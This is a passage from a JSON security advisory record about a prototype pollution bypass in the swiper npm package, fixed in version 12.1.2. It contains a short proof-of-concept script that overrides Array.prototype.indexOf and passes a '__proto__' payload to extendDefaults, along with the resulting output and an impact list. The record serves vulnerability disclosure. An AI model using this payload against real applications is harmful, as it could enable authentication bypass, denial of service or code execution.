This issue is fixed in version 12.1.2\n\n### Details\nThe vulnerability resides in line 94 of shared/utils.mjs where indexOf() function is used to check whether user provided input contain forbidden strings.\n\n### PoC\n#### Steps to reproduce\n1. Install latest version of swiper using npm install \n2. Run the following code snippet:\n```javascript\nvar swiper = require('swiper');\nArray.prototype.indexOf = () =\u003e -1;        \nlet obj = {};\nvar malicious_payload = '{\"__proto__\":{\"polluted\":\"yes\"}}';\nconsole.log({}.polluted);\nswiper.default.extendDefaults(JSON.parse(malicious_payload));\nconsole.log({}.polluted);  // prints yes -\u003e indicating that the patch was bypassed and prototype pollution occurred\n```\n\n#### Expected behavior\nPrototype pollution should be prevented and {} should not gain new properties.\nThis should be printed on the console:\n```\nundefined\nundefined OR throw an Error\n```\n\n#### Actual behavior\nObject.prototype is polluted\nThis is printed on the console:\n```\nundefined \nyes\n```\n\n### Impact\nThis is a prototype pollution vulnerability, which can have severe security implications depending on how swiper is used by downstream applications. Any application that processes attacker-controlled input using this package may be affected.\nIt could potentially lead to the following problems:\n1. Authentication bypass\n2. Denial of service - Even if an attacker is not able to exploit prototype pollution in swiper, if there is a prototype pollution within the project from other dependencies, modifying global `Array.prototype.indexOf` property can result in crash when swiper.default.extendDefaults is called because swiper makes use of this global property. This can lead to Denial of Service.  \n3. Remote code execution (if polluted property is passed to sinks like eval or child_process)\n\n### Related CVEs\n[CVE-2026-25521](https://github.com/advisories/GHSA-rxrv-835q-v5mh)\n[CVE-2026-25047](https://github.com/advisories/GHSA-2733-6c58-pf27)\n[CVE-2026-26021](https://github.com/advisories/GHSA-2c4m-g7rx-63q7)","status":"published","published":"2026-02-19T20:28:35Z","modified":"2026-02-23T22:27:47Z","cvss":[{"version":"4.0","score":9.4,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T14:39:26.881079Z"}],"nvd":[{"id":"CVE-2026-27212","description":"Swiper is a free and mobile touch slider with hardware accelerated transitions and native behavior.
